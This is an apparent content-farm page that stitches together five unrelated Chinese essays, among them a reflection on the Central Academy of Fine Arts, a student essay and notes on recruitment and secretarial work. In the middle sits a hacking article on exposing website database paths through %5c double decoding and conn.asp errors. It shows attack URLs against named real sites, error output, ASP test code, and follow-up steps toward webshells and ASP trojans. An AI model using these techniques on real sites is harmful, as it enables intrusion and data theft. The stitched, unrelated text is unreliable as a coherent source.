下面是小编为大家整理的我对中央美术学院的潜在危机的认识（共含5篇），供大家参考借鉴，希望可以帮助到有需要的朋友。同时，但愿您也能像本文投稿人“小梁吃意面”一样，积极向本站投稿分享好文章。
我对中央美术学院的潜在危机的认识
由于社会生活发展的速度越来越快，竞争日趋激烈，于是危机意识成为现代人把握生活的一种思维方式。当然，这不能成为人们随意议论危机的理由。危机意识的价值，在于它是客观存在的危机在人们头脑中的反映，如果它并不是客观存在的一种可能性的真实反映，那有关危机的议论，就成为唬人或杞人忧天了。中央美术学院的“滞后与衰退”，是不是摆在我们面前的一种真实的可能性？如果是，它们表现在哪里？我想，思考这个题目对美院今后的发展不会是多余的。
可以导致一个学校“滞后与衰退”的因素很多。我认为其中比较重要的是：资金问题；教育思想和办学思路问题；全体同仁的事业心和凝聚力问题。这三个因素层次不同，但任何一个因素如果发展到某种程度，都可能引发全局性的危机。如果三方面因素结合在一起，引发危机的可能性，当然就会更大。
资金问题在这三个问题中，其层次最浅。但是不能忽视由于缺乏资金，再加上其它因素而致使美院出现“滞后与衰退”的可能性。
国家拨给美院的经费，今后不可能大幅度增加，只可能像近些年那样逐步有所增加。但是，今后美院的教学发展对经费的需求却会大幅度增加。新校舍为美院教学的发展带来巨大的可能性，为此所需的各种投入将大大超过我们现有经费的水平。仅仅是校舍自身运转所要的维持费（热力、水、电，维修和日常管理等）就是一笔可观的数目。至于我们经常议论的题目：新专业的上马与发展、改革人事分配制度、提高目前较低的工资水平、实行“重点岗位高额报酬”以便广招人才等等，如果没有钱，这些通通成为空话。
怎么办？不少人把解决问题的希望寄托在提高学费上。由于高等院校必须和市场体制相衔接，根据有利于高等教育事业的发展这个原则和国家有关政策，美院按办学成本的一定比例收取学费是完全必要的。这样做可以一定程度上缓解我们经费不足的矛盾，对于学生的教育也有好处。但是，中央美院学费的提高是有限的。以为只要有人来考学，中央美院就可以按市场价收取学费，从而解决经费不足的问题，那就把事情看简单了。美院的任务，并不仅仅是保证自己在市场体制下能存活，而是要尽快替国家培养出高水平的人才。在中国当前条件下，学费太高，考生来源的面就会缩小，考生的整体水平就会降低（可以设想：占人口5％的先富起来的中国人有6千多万——比法国的总人口还多。为了上大学，每年交上万元的学费，对他们来说并不困难，但对90％的10多亿人来说，就难以做到了。为了高额学费撇开大多数，无论对国家还是对个人都是不划算的）。因而，对于国家办的重点大学，筛选考生的机制，只能是反映学习水平的“高分数线”，不能是反映经济能力的“高额学费”。在营造我国高校多种类型办学的结构体系时，一定要把国家办的重点学校的收费标准，和各种层次不同的学校以及民办学校的收费标准相区别，使教育事业的发展和满足社会不同层次对教育的需求统一起来。这里说这么多，只是想说明，指望美院的经费问题靠提高学费来解决，是不实际的。我们除了靠国拨经费、学费以外，目前还必需靠自己创收。而创收工作，又不可能一蹴而就。即使一切顺利，也有一个不可逾越的发育过程——各类创收要取得规模效应，都是这样。
在经费紧缺的同时，低效高耗的运行机制和已成惯性的浪费现象，还在继续吞噬大量资金。这方面的改革要取得切实的成果，也要有一个过程。因此，资金困难，将是美院今后一个时期内难以摆脱的境遇。
如果美院能有效开展创收、杜绝大量存在的浪费现象，资金问题或许不致成为美院“滞后与衰退”的决定性因素。但它作为“滞后与衰退”的因素之一，不断地困扰着美院，是可以肯定的。
教育思想和办学思路问题这是一个比资金问题深刻得多的问题。它对一个学校是否出现“滞后和衰退”具有决定性的意义。历史上不乏这样的例子，由于教育思想、办学思路对头，尽管资金不足，学校却虎虎有生气（北伐时的黄埔军校、抗战中的抗日军政大学、代德国的“包豪斯”等等）。同样，由于教育思想陈旧，不适应社会发展的需要，也有不少显赫的老牌大学中道衰落。
在艺术院校中，谈起教育思想、办学思路问题，总是让人想到是否坚持“二为方向”和“双百方针”等。其实，这只是这个问题的一个方面，并不是它的全部。
目前世界上，教育成为各国为应对新形势下激烈的国际竞争而必须抓紧的关键环节。其中高等教育在“出科研成果”和“出人才”这两个关系国家命运的问题上，承担着重要的任务。他们把在新的历史条件下解决教育质量与教育效率这两个问题作为当前教育思想和办学思路的重要课题加以研究。中国的高等教育、中央美术学院，当然也同样面临这样的课题。
建国后，美院综合了北平艺专以及延安鲁艺的办学经验，同时也吸收了苏联高等美术教育的经验，经过反复调整，形成了一套比较完整的教学模式。这一套教学模式在当时有广泛的影响，有重大历史功绩。其中有些东西，直到今天看来，仍然显示着其独特的价值。我们现行的教学，就是在这个教学模式的基础上进行局部的调整和改革后形成的。这些年美院虽然在专业上有所扩展，在教学管理改革方面也着手摸索，但就整体而言，美院现在还没有跳出30多年前所设定的框架。
目前，本科生按国、油、版……等专业划分来培养“专门人才”的目标设定；各系教学相互不能兼容、“大锅饭”和批量生产的教学管理体制（95年后实行的学分制并没有真正解决这个问题）；人文社科类课程设置不足；教学中，留给学生自己探索的空间不多……等等问题，都和60年代我们的教育观念、艺术思想有联系。
然而，和60年代相比，社会毕竟大大向前发展了。在全世界都把眼睛盯在对付21世纪的国际竞争的时候，美院是否也需要有一个长远的考虑？是否也需要研究一下，对目前的教学体系作必要的突破？我以为，如果没有这样的突破，美院的“滞后与衰退”将是不可避免的。而这个突破，首先就是教育思想、办学思路的突破。
今年上半年，美院的“改革与发展规划小组”提出了《中央美术学院教学改革的初步设想》的讨论稿，对美院的定位、办学思想等问题提出了一些新的设想，我认为它可能是美院在教育思想、办学思路方面迈向突破的重要一步。但这还只是开始。
下面，我想就教育思想和办学思路方面的问题，再谈一些意见。
一、关于“建设当代中国高等美术教育体系”这个历史课题
20世纪中国在美术教育上引进了西方的学院教育，对传统的美术教育进行改造，取得重大成果。中国的当代美术和美术教育，始终是互相依靠、并肩前进的。在前后近百年的探索中，中国的艺术家和艺术教育家，共同创造了20世纪中国充满活力、富有特色的美术景观。它的成就，不仅表现在产生了一大批无愧于时代的卓越的艺术品和空前数量的艺术家群体上面，更有意义的是，奠定了当代中国美术和美术教育的基础。20世纪中国的美术和美术教育，一方面大胆引进西方的思想和方法，一方面立足于经历着独特的历史境遇的这块土地，承接着五千年民族文化的滋养，形成了形态丰富、总体上又有中国特色的美术面貌。20世纪有许多经验值得我们总结。其中“积极吸纳外来文化，坚持走自己的路”是重要的一条。在“全球一体化”进程进一步加速的今天，它的意义显得更加突出。
半个多世纪的探索，当代中国高等美术教学体系，已经有一个基础，但还不完善。所谓美院的“教育思想和办学思路”问题，其核心就是“建设当代中国的美术教育体
系”的问题，在这个中心点上，美院和全国兄弟院校面对的是共同的课题。而这个课题又不是光靠美术院校的运作所能完成的。它依靠国家整个造型艺术的繁荣与发展，依靠在东西方文化充分交流中出现的中国造型艺术学派的成长与成熟。这是一个艺术实践和理论实践齐头并进、相互渗透才能完成的任务，没有后者，没有若干对中国传统和现代以及对人类广泛的文艺现象进行理论概括而形成的、不同于西方的、属于当代中国的美学、美术理论体系，这个任务也是不能完成的。从这个意义上讲，对美院的教育思想、办学思路的'认识，将是一个不断发展和深化的过程。如果下世纪中国美术独特的现代化道路在世界展现出耀眼的光彩，我们不会感到诧异。因为这正是我们奋斗的目的。
二、认真营造美院适宜学术发展的生态环境，建立不同学术思想间相互启发、共同发展的良性机制
这些年，我们经常听到来自以下两方面的批评：
一种意见是“你们的教学太陈旧。重手艺，轻创造，缺乏新意”；“你们把欧洲19世纪的艺术原则当圭臬，那是前工业社会的艺术，而现在已经是后工业社会、信息社会。你们的教学过时了！”……等等。
另一种意见是“你们搞美术教育，一定不能跟在西方现代主义后面跑，一定要坚持把传统继承好，把写实基础打好。这一套西方已经丢掉了”；“关注社会，关注入的生存状态的现实主义传统，是‘五四’以来我国艺术的一份优秀遗产，教学中一定要很好地继承并发展它，而不是使它在你们手中中断！”……等等。
这两种意见都有其合理的方面。在这两种意见的背后，各有不同的社会文化背景和学术体系，用其中一种去简单地否定另一种是不恰当的。一般来说，它们的区别是艺术上不同类型和学术体系的差异，而不是科学领域里的正确与错误的对立。因此，美院应包容这两种学术体系，并使它们在与中国现实的不断结合中，求得各自的健康发展。
由于中国独特的文化传统和历史境遇，中国当代这块艺术土壤，存在着孕育众多面貌迥然不同、各有其价值的艺术样式的可能性。画坛由此将出现多元竞放的壮阔场面。这是人们的精神获得解放这一重大进步在美术上的表现，也是中国当代美术发展的重要特征。美院要为促进、迎接这一局面的到来，作出自己的贡献。
有这样一种观念：中国美术的现代化道路，是由符合体现中西融合的若干条件的作品来标定的（这“若干条件”各人可能有不尽相同的设想）。如果不符合“中西融合”的这些条件，那么这现代化的路子可能就走偏了（“全盘西化”？“顽固保守”？）。对此我甚怀疑。我想，中国美术的现代化道路，不是一条不慎就会掉进山涧的羊肠小道。一个具有五千年文化积淀、占世界五分之一人口的文明大国在20世纪由农业社会进入现代社会，它引起的冲突和震荡，无论在政治、经济还是文化上，都必然是波澜壮阔的。中国美术的现代化道路只能是一个锋面很宽、内部充满矛盾的潮流。它是众多艺术家群在历史和现实、传统和现代所给定的可能性中，左冲右突而形成的一条历史的河道。它是几代人——十几代人以承前启后、相反相成的艺术劳动开凿出来的。中国美术的现代化道路和西方19世纪以来所走的道路，由于文化背景、历史情境、面对的课题都不相同，以致于其面貌也大不相同。它的丰富性，正是它的特征，也是它独特的美学价值的重要构成部分。
美院是否可以在积极培养自身若干学派的同时，也考虑把外地有影响的重要学派的教学引进到自己的教学中来，从而形成美院的、在全国有影响力的学派集群？其中现实主义学派由于历史和现实的原因，自然占有重要的地位。我相信在其发展过程中它还会不断分蘖、壮大，并产生自己的新的形态、达到新的高度（探索中国当代现实主义美术的新发展，是大有可为的课题。它会吸引众多有才华、有创造勇气的艺术家进入这个领域。理由很简单：中国需要它）。同时，各种持不同学术思想的其它严肃学派，只要在学术上达到一定的成熟度，美院这块教学园地就应当有它发展的空间。美院唯有办成一所既有深厚传统文化根基，同时又充分向社会开放、向当代文化开放的高等学府，美院才能保持自己学术上的活力，才能具有广泛的影响，才能实现自己应承担的社会责任。
美院的教学和学术水平，取决于它所拥有的各种学派的成熟度。而学派的成熟，不仅依赖于艺术实践，而且也依赖于学派的教学实践，使其后浪推前浪。从长远看，承认各个学派学术上的相对独立性，并且按各学派的要求发展学术、加强教学，是美院今后学术发展的必由之路。
三、把毕业生若干年后成长为优秀的艺术家、设计家、美术史论家、美术教育家、美术活动家的“成才率”，作为我们全部教育工作追求的目标
美院要进一步把办学的重点，移向“提高”方面来。无论是本科生教学，还是研究生教学，不仅要考虑社会近期的需要、毕业生在人才市场上的竞争力，更要重视若干年后他们成为优秀艺术家的成才率。我认为，追求若干年后的这个“成才率”，应该是美院培养目标的核心。只有这样，才能适应社会主义文化建设的需要，才能迎接21世纪来自国内、外文化发展的挑战。在艺术这个行当里，质量是决定一切的。
成长为一个优秀艺术家，需要的条件是多方面的。不是大学本科教育、或者加上研究生教育就能完全提供的。社会生活的磨练，是锻造一个艺术家更为重要的方面。但是，大学本科，一定要提供对于艺术家在大学本科这个成长时段必须获得的那些东西。特别是基础方面的、眼前未必马上用得上、从长远看却不能缺的那些东西。要培养他们具有艺术家的社会责任感；要有扎实的专业基础和文化基础，对东方和西方、传统和现代的有关知识，都应有较系统地了解；要有良好的身体素质和心理素质；等等。总之，本科教学必须为学生将来的发展，在基础方面作好准备。
在追求若干年后“成才率”的培养目标中，研究生的教学当然是重要的一环。目前，需要从质和量两个方面，较大幅度地发展研究生教学。要培育研究生的生源，要具体解决扩大研究生招生工作中的实际问题，要进一步完善研究生教学规范，拉开研究生与本科生在学习方法和教学水平上的距离，把研究生教学和学院的学术建设结合起来。使我院的每届研究生，都成为冲击社会学术前沿的生力军。
在艺术教育中，有两对基本的矛盾。一个是继承和创造的矛盾；一个是技艺训练和全面素质教育的矛盾。要下功夫按前面说的这个“成才率”的要求来处理好这些矛盾。今后，当我们的作品在国际上交流时，给人以深刻印象的，应该是在我们丰富多采的画面的背后，不仅有一个崛起的民族的激情和气度，而且有深厚的民族文化素养；不仅表现出作者坚实的专业功底，而且闪烁着作者具有美学意义的人格魅力。这是艺术品的价值所在，当然也是我们在培养艺术家时不能含糊的着力点。
对各类进修生的培养，有广泛的社会需求。十几年来，取得了良好的社会效益，积累了经验。进修班是美院推进美术事业的最直接而有效的方式之一，也是美院在学术上与社会上的青年艺术家保持联系、进行交流的重要渠道。因此，进一步摸索、发展进修班的教学体制、继续提高进修班的教学质量，也是美院今后学术和教学建设的重要环节。
美院正面临新一轮的教学改革，对美院在教育思想和办学思路方面的问题，能不能通过教职员工广泛深入的讨论，并在新的高度上获得大体一致的认识，我认为既是这次改革有效进行的前提，也是美院防止“滞后与衰退”的必要条件。
美院同仁的事业心和凝聚力这本来不应该
成为构成美院危机的一个因素。因为本世纪以来，对于中国从事现代教育这个行业的人来说，事业心和凝聚力，从来都是他们的强项。蔡元培、陶行知这些现代教育的开拓者的身边，都有一批和他们一样献身于事业的追随者；徐悲鸿、江丰也是这样。中华民族近代以来的历史遭遇，使中国的教育工作者具有一种特殊的使命感。美院自然也有这个传统。但是，当我静心思考美院的“危机问题”时，坦率地说，缺乏事业心和凝聚力，似乎是一个比教育思想、办学思路问题更加令人不安的因素。特别是意识到这个问题还有某种社会原因时，尤其感受到它是一个必须认真对待的问题。我认为，20世纪这1中，最后的10 年可能是中国人最重物质而轻精神的。这是对过去重精神轻物质的一种反拨，也是由计划体制向市场体制过渡时，一部份人先富起来而产生的社会现象（有学者说，中国正经历一个不可逆转的世俗化过程）。这可能是中国社会进步过程中不可避免的现象，不能简单地只看到它消极的一面。但是对于精神产品的生产者来说，如果也热衷于物质消费，轻视精神价值的话，对他的工作是十分不利的。
我一直有一种看法：在中国知识分子的心中，忧国忧民是他们难以摆脱的情结；崇尚“舍身取义”，重精神轻物质，是渗透在他们血液中的传统。但是近些年这种感受淡薄了。相反，看到重实利的世俗习气，也深深地影响着知识分子。这是中国知识分子的进步还是倒退？说不清楚。不过有这样的忧虑：正当一个可以由艺术家驰骋的形势出现时却发现我们有些人变得那么实际和善于经营，不仅没有一点乌托邦，连痴情和执着也没有了。实在是一件让人惋惜的事！
美院是否会出现这样的局面：这里没有违背“二为”方向和“双百”方针的现象，但是，这里也没有激情！这里有的是因满足于养尊处优而大量堆积起来的平庸。平庸不是什么错误，更不是罪过。平庸就是陈陈相因，循规蹈距过日子。平庸是大家都能容忍而且必须容忍的事物。但是，中国近代以来的历史证明，如果容忍平庸，中国就会永远落后。百多年来，中国之所以在一定程度上摆脱了平庸，是被历史鞭打出来的。美院如果滑向平庸，也要受到鞭打才能跳出来吗？
如果美院滑向平庸，其艺术面孔可能是一种世俗的贵族形态：用富有特色的手艺、酸腐了的文化意味、机巧的构思把贫乏而苍白的精神包装起来；或者是直接的世俗化：明确地按商品“适销对路”的原则生产作品。客观地说，有人按这种方式谋生存是合乎情理的。社会需要有人提供这样的商品。但是中央美术学院总体上不能走上这条路。如果美院从审美发展的前沿退下来，如果美院丧失了文化建设的激情和进行文化批判的能力，如果美院缺乏对国家民族命运的关怀，那还算什么中央美术学院？问题是美院并非没有可能走上这条路。
以上是我对美院“危机问题”的看法。我认为美院存在着出现危机的可能性；同时我也认为美院存在着克服危机、在学术和教学上表现出勃勃生机的可能性。虽然我没有把这后一点作为本文的重点，但正是因为我对它的存在深信不疑，并且期望着它能变成现实，才不避烦琐地去描述美院走向危机的可能性。至于哪一种可能性最终成为现实？关键在于美院今后的领导集体，同时也在于美院的教师和干部。就目前来说，我认为大家对美院的现状保持头脑清醒，是十分重要的。
我对作文的认识作文 - 精选作文
提起“作文”二字，很多同学想起来就害怕，怕写作文。我以前也是这样，俗话说：“考，考，老师的`法宝；分，分，学生的命根”，可作文又是试卷中分值最高，而每次考试又都有的一道题。所以，这令很多同学苦恼不已。
以前，我总是认为，写作文是为老师写的，所以就有了“不给他写”的说法。每次写作文不是写得兔子尾巴――不长，就是写流水账――不精彩。
后来，老师多次详细地给我们讲解写作文的方法和技巧，上得作文课生动又形象，十分有趣。再加上妈妈对我的支持――给我办了一个图书卡，我就每逢闲暇之日，便让妈妈带着去借书，对作文的认识也有了改变。
我慢慢地认为，写作文是一种乐趣，尤其是把自己的心里话写出来，就如同是有千斤的担子卸了下来，轻松无比。写写事的文章，我还总结了一套经验：在写文章前，先玩一阵子，然后再去写。这样不仅能精神好，还有东西可写：把刚才玩什么，怎么玩等过程写下来，文章保证生动形象。
去年暑假，妈妈为了我的学习，竟然给我添置了一台电脑。我真是兴奋到了极点。我想：我绝不会像有些人一样只打游戏，但可以在闲暇之余放松一下。
有了这台电脑，我学习起来更是如饥似渴。那上面的作文可真多呀！慢慢地，我学会了发表作文。就在一天晚上，我就发表了一个我自己编的四句话。还开通了一个邮箱，如果那能被录取，马上就会通过我的邮箱通知我。我还准备以后发表更多我的“杰作”呢！
作文其实很有趣，只是有的同学不去挖掘自己的潜力。要写好作文，还在于积累。只要我们在平时看书的时候，注意积累好词佳句，写作文的时候把运用上，把它变成我们自己的知识，就会写成一篇完美的文章。
写好一篇文章，重要的在于我们对作文的认识。同学们，希望通过我给大家介绍的这几种方法，你们的写作水平能够有所提升。我对作文的认识虽然不太多，但它们是正面的认识。我以后一定要再接再厉，争取把作文写到炉火纯青的地步。
作者：linzi（chinaskyv@163.com）
来源：邪恶八进制安全小组
去年的时候曾经有一段时间研究过ie双解码，所以对暴库有一定的认识，前些天终于收到 的杂志，
里面看了一篇临的文章，下面我也谈谈个人对那篇文章的认识，这里要说的是，大家如果再深入点研
究下去，就会发现，暴库的利用不只是这么简单，还会有更多可以用的东东，
暴库的方式有多种多样，我知道的就有3种以上，常见的暴的方法有：%5c类暴,conn.asp暴,ddos暴等等.
这篇文章我主要讲%5c和conn.asp暴.
可以说，这篇是对临国越南首相写的文章的补充.
1.%5c暴法
下面我们先用肉鸡来试一下
www.yianxin.com/e-market/bbs/select.asp
暴：
www.yianxin.com/e-market/bbs%5cselect.asp
返回信息如下：
microsoft jet database engine 错误 '80004005'
'd:wwwyianxin.comgr7shg3l26e-marketdatayianxinlzn.asp'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。
/e-market/bbs/conn.asp，行3
我们来看一下真实路径和暴出的路径
d:wwwyianxin.comgr7shg3l26e-marketdatayianxinlzn.asp 暴出的路径
d:wwwyianxin.comgr7shg3l26e-marketbbsdatayianxinlzn.asp 真实的路径
对比后我们发现暴出来的少了一个bbs
这里我们还发现%5c就相当于一个休止符返回的路径就变成
绝对路径+%5c后面的内容
我们再来看一下对暴不出来的分析
肉鸡： www.guilin.com.cn/renrenbbs/body.asp?id=516
暴url: www.guilin.com.cn/renrenbbs%5cbody.asp?id=516
返回内容如图三所示
此主题相关图片如下：
肉鸡: www.jijiahao.com/guest/default.asp
暴url: www.jijiahao.com/guest%5cdefault.asp
返回内容如图四所示
此主题相关图片如下：
我们再来分析一下成功与失败的原因：
www.yianxin.com/e-market/bbs%5cselect.asp
会暴成功库，我们打开select.asp我们会发现里面
也就是说有调用到其它文件
所以当你用%5c时，返回路径也就变成了
绝对路径+%5c后面的select.asp，select.asp又调用到路径库data/renren.asp
所以返回的路径就变成了
绝对路径+路据库路径，而在绝对路径和路据库路径，我们知道有guest这个目录，
这个时候因为绝对路径+路据库路径不存在(绝对路径+guest+路据库路径才存在)
所以也就返回了，我们所看到的出错信息。
现在再来分析一下失败的原因：
我个人认为是因为iis双解码的原因，
例如，对于''这个字符，正常编码后是%5c。这三个字符对应的编码为：
'%' = %25
'5' = %35
'c' = %63
如果要对这三个字符再做一次编码，就可以有多种形式，例如：
%255c
%%35c
%%35%63
%25%35%63
...
因此，“..”就可以表示成“..%255c”或“..%%35c”等等形式。
在经过第一次解码之后，变成“..%5c”。iis会认为这是一个正常的字符串，不会违反安全规则检查。而在第二次被解码之后，就会变成“..”。因此攻击者就可以使用“..”来进行目录遍历，执行web目录之外的任意程序。
详细的大家可以看下面的资料参考
我们再来分析图三和图四失败的原因就会发现，他可能解析成../，通过图的比较可以分析出来，
难道这时就暴不出来了吗，当然不是，这要我们精心构造。
下面还会分析到。
下面我们来纠正一下网上常见的错误观点。
1.不一定要asp?id=的才可以暴，只要有调用其它有文件就有可能暴
2.不一定是access,也可以是mssql，我就成功过，下面大总结的时候就会分析到只要是iis就有可能成功
3.不一定要调用到数据库，因为%5c的关键是调用，而不是一定是数据库.
4.理论上讲，根目录通过精心构造是可以暴的，但有些人说的通过..%5c的却一定暴不出来，因为返回是
取%5c后面的与前面的无关
5.并不是说多层目录就暴的成功率就高,%5c能否成功关键是看系统怎么解析，另外我个人觉得能否暴出
与程序无关，更多的与系统有关，不信大家去百度找同一板本的人人留言板，你就会发现有的可以暴
出来，有的却暴不了出来。
好了，上面是对%5c暴库的初步了解
2.conn.asp暴
conn.asp暴可以说，与系统无关，是因为目录的关系。
我用netbox架设同样可以暴，而%5c是iis解码错误，有那个漏洞的一定是windows系统.
同样，我们还是通过比较来说明问题
肉鸡：192.168.0.55/ren/
暴1 : 192.168.0.55/ren/images/conn.asp
暴2 : 192.168.0.55/ren/conn.asp
其中暴1里面的conn.asp是从暴2里面复制过去的
返回内容：
暴1:
microsoft jet database engine '80004005'
'c:documents and settingsxiaoqiu桌面wwwrootrenimagesdatarenren.asp'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。
wwwrootrenimagesconn.asp, line 3
暴2:
全是白白。
再来分析为什么conn.asp可以暴出来
conn.asp代码如下：
<%
set conn=server.createobject(“adodb.connection”)
conn.open=“provider=microsoft.jet.oledb.4.0;data source=”&server.mappath(“data/renren.asp”)
set rs=server.createobject(“adodb.recordset”)
function connclose
conn.close
set conn = nothing
end function
function errmsg(message)
session(“err”)=message
response.redirect“err.asp”
end function
%>
其中最重要的是
set conn=server.createobject(“adodb.connection”)
conn.open=“provider=microsoft.jet.oledb.4.0;data source=”&server.mappath(“data/renren.asp”)
这两句，这两句也是能暴出的关键.
我们再来先看暴出的路径和真实路径的差别
c:documents and settingsxiaoqiu桌面wwwrootrenimagesdatarenren.asp 暴出的路径
c:documents and settingsxiaoqiu桌面wwwrootrendatarenren.asp 真实的路径
我们会发现多了一个images，这是因为，conn.asp的返回路径是
绝对路径+conn.asp前的+conn.asp连接的数据库路径
像上面的就等于绝对路径c:documents and settingsxiaoqiu桌面wwwroot+conn.asp前面的ren/images+
datarenren.asp也就是数据库路径，合起来就是
c:documents and settingsxiaoqiu桌面wwwroot+renimages+datarenren.asp
不同连接语法返回路径不一定一样，但是上面的连接语句返回的却一定是绝对路径
下面我们再来验证一下我们的正确性，把下面的内容保存为任何一个经过asp.dll解析过扩展的文件，如
linzi.asp,linzi.cdx等等，代码内容如下：
<%
set conn=server.createobject(“adodb.connection”)
conn.open=“provider=microsoft.jet.oledb.4.0;data source=”&server.mappath(“data/renren.asp”)
%>
这个时候你把他放在任何一个目录，只要不是ren目录里，也就是留言簿的根目录，都可以暴出绝对路径，
这个时候你可能会问，难道根目录就暴不出了吗？答案是可以暴出来，
你把上面代码里的
data/renren.asp改成任何一个不存在的目录或文件，也同样可以暴出来，例如，我改成
data123/renren.asp，因为data123不存在，所以就暴了出来，返回内容如下
microsoft jet database engine '80004005'
'c:documents and settingsxiaoqiu桌面wwwrootrendata123renren.asp'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。
wwwrootren2.asp, line 3
我们还可以发现，并没有少目录，只不过目录出错，经过一大堆的测试，我个人总结出conn.asp暴成功的
原因以及对网上一些错误观点的个人看法：
1.要暴不一定要调用到数据库，但是要暴库，一定要调到到数据库或与数据库有关的文件。
2.不一定conn.asp才可以暴，只要有调用其它文件，造成目录错误的都可以报，如动力的除了inc/conn.asp
外，放在inc里面的其它文件同样也可以暴。
3.总结conn.asp的暴原因是你返回的目录和真实的目录不一定，或者也可以说是不存在。
3.暴的简单利用：
1.下载数据库进后台找上传点，然后得到webshell
2.往数据库里面插入asp小马，详细的可以参考angel的文章《把mdb改成asp带来的灾难》
3.access跨库查询
如语句：
select count(*) from dv_admin in 'd:wwwdatadvbbs7.mdb'
4.注入时的利用，如mssql backup a shell
5.绕过后台验证，详细的可以见我收集的暴库文摘
好了，就这么些吧，上面可以说只是暴后攻击的冰山一角，当你再深入下去，你会发现还有更恐怖
的东西在后面，2k+sp4有人利用双解码成功了，这也只是一角。
还有这里要说一下的是，有的人说用asp.dll解析mdb用来防下载，事实上稍微不笨的人，就会发现这是
一种愚蠢的做法，当你用asp.dll解析mdb后，你把newmmm.asp改成newmm.mdb上传后，就相当于一个
newmm.asp，因为asp.dll解析过的扩展只要里面有asp语句就会被执行，这和cer,cdx等，一个道理.
我个人认为防下载的最好方法是往数据库里加入防下载表段<% zhenzhen520 <%，只要插入这个就可以
防下载了，懂点asp的人都知道，<% zhenzhen520 <%放到数据库里，一定会发生语法错误，因为没有%>
结束符，当然你可以说，可以注是，事实上，注是是不可能的事，除非你得到了shell，修改数据库，否
则你就别想了，因为就算让你加上了两个%>结束符，但是因为<%%>里面的东西不满足asp语法，也会发生
500错误。不信？要不你试试动网，动网的数据库就是这样。
4.防范：
1.最好的办法临在文章里也说过了，就是屏所有的出错。
2.加容错语句，不过要注意的是，你加了容错，只能是你加的那个文件暴不出来，但并不代表，其它文件
暴不出来。
3.把数据库在非相对路径下，例如：你本来的路据库路径是：c:wwwdatadvbbs.asp，这时你可以把数
据库改放在c:里，这样就下载不到数据库。
好了，防的方法就说到这里了。因为我说的都是废话，大家都看过的.
5.%5c暴与conn.asp总结：
可以说%5c暴是因为调用文件出错，而conn.asp暴是因为返回的路径出错或不存在。
6.conn.asp与%5c的结合：
可以说如何构造是入侵时能不能暴出的关键。
现在我们假设，guest目录放在c:www下，而conn.asp放在c:wwwguestconn.asp，直接调用
192.168.0.13/guest/conn.asp不会报错，因为返回路径是正确的，通过上面的，我们可以知道
conn.asp暴是因为返回路不存在。现在我们对比一下%5c和conn.asp的不同返回路径
1.%5c : 绝对路径+%5c后面的内容
2.conn.asp : 绝对路径+conn.asp前面的相对路径+conn.asp调用的数据库路径
两者结合起来，假设192.168.1.13/guest%5ccoonn.asp
那么返回路径也就变成了
绝对路径+conn.asp，但实际在入侵之时，我们会发现有的时候并不是，这个时候大家别忘了双解码
好了，我只提出思路，实际的入侵方法，我想你可能已经想到。
大家如果有疑问可以到混盟或者发e-mail给我。
其实我个人对于招聘还没有太多的认识，更多的认识是自己被招聘的经验，而对于招聘，我更多的是理论上的认识。在我找工作的时候，我经理过招聘的各种阶段，包括投简历、面试、笔试等，因此我对这些方面要做的事情记忆深刻。
开始工作后，还没真正接触招聘。年后，因为公司需求的新员工不多，所以只选择了跟智联招聘签了一个季度的合同。招聘信息挂上几天后，开始整理相对较合适的人员的简历，打印后让领导查阅，待领导觉得合适的，再通知过来面试。作为新手，只是在这过程中起到了一个联络员的工作。面试及复试的事情自然而然是领导的事。也因为招聘的是公司的高层，所以直接影响面试结果的则是公司总经理。
既然没有实际的经验，那么就谈谈理解中的招聘吧。
在很多人眼中，HR工作中，招聘最容易：不外乎筛选简历、面试、通知来上班。而事实上，招聘或选才恰恰是最难的。招聘就像一场冒险、一场赌博，如果能够顺利选取最合适公司所缺岗位的员工那是最好的，但如果招聘到的是庸才、对公司利益有损的员工，对公司无疑是一种浪费、危害，也是招聘部门工作不到位的责任。所以这过程需要多一点技能，更专业一点，才能招到更合适的人选。人力资源管理的终极目标就是将合适的人放在合适的位置上做正确的事。实现企业经营目标的关键是人，决策是企业最大的风险，解决风险的关键是有效招聘。
如何做好招聘工作，首先要有一个招聘计划，并在实际中加以调整。指导用人部门撰写拟招聘职位的职位描述和任职资格;选择合适的招聘渠道，发布招聘广告以及筛选应聘简历;合理地涉及招聘流程，选择合适的面试或测评方式，对应聘者进行初试，综合应聘者各方面素质，向用人部门的录用提供建议;与候选人商定薪资待遇，并发送录用通知;主导招聘效果评估工作;循环进行面试技能培训工作。这就是招聘工作的一个大概流程，我想以后有机会真正接触到招聘的时候，体会才会更深刻。这过程中虽然看似只是简单的几个步骤，但其中涉及的方法，需要注意的细节，还很多很多。
以后就抱着学习的心态慢慢成长吧。
[我对招聘的认识]
上了文秘课到现在已经有一个星期多了，我对秘书这项工作有逐步的了解，渐渐的加深了对记忆工作的认识。
在二十世纪初期，秘书的职责工作主要是为上司端茶送饭，处理一些鸡毛蒜皮的小事;从二十世纪八十年代以来，随着我国全而的改革开放，秘书工作也得到迅速的发展，秘书理论研究和职业化教育培训逐步展开。
首先，秘书应该是上司的特殊助手，对上司的活动和工作范围有足够的了解，能够替上司分担很多工作，她能撑握有关办公室事务的处理技巧，能够在上司没有过问的情况下表现出自己的责任感，以实际行动显示出自动性和判断能力，并且能在所给予的权力范围内做出决定。
秘书，它是一个综合性，服务性，机密性，中介性等的职务岗位，因此秘书工作的范围十分广泛，既是管理人员，也是业务人员，可以说秘书的自身修养、言行举止文化素质及工作能力水平都直接影响到整个部门、机构或组织的形象及竞争力，，可见秘书的岗位十分重要。当然，秘书也是一个十分繁琐且十分辛苦的工作岗位，之所以说它繁琐是因为秘书让领导更省心的去办理一些日常工作，就需要秘书对很多事情都及时处理，妥当;同时所要具备的知识也是十分广泛，所以说秘书既要上知天文地现，也要能够做到下管鸡毛蒜皮。
在日常生活中，要了解上司平时喜欢吃什么，身体适宜吃什么怀不宜吃什么，如果能够细心做到这些，日常生活就会避免了许多麻烦与尴尬的事情;上班前要挤时间给上司整理文件或是办公室卫生，只有上司办公室整齐有序，干干净净，客户看到了都会觉得该上司办事效率高、值得合作。在工作方面，上司安排写的文件、处理事情要严谨认真，讲究效率，不可拖泥带水，资料要提前完成，开会或是出差要准备好一切应该准备的资料;上司没有安排的事情也要主动去做，不可得过且过。有时上司工作太忙，作为秘书的也要适当地提醒上司亲属的生日，适当地建议应该要什么礼物。
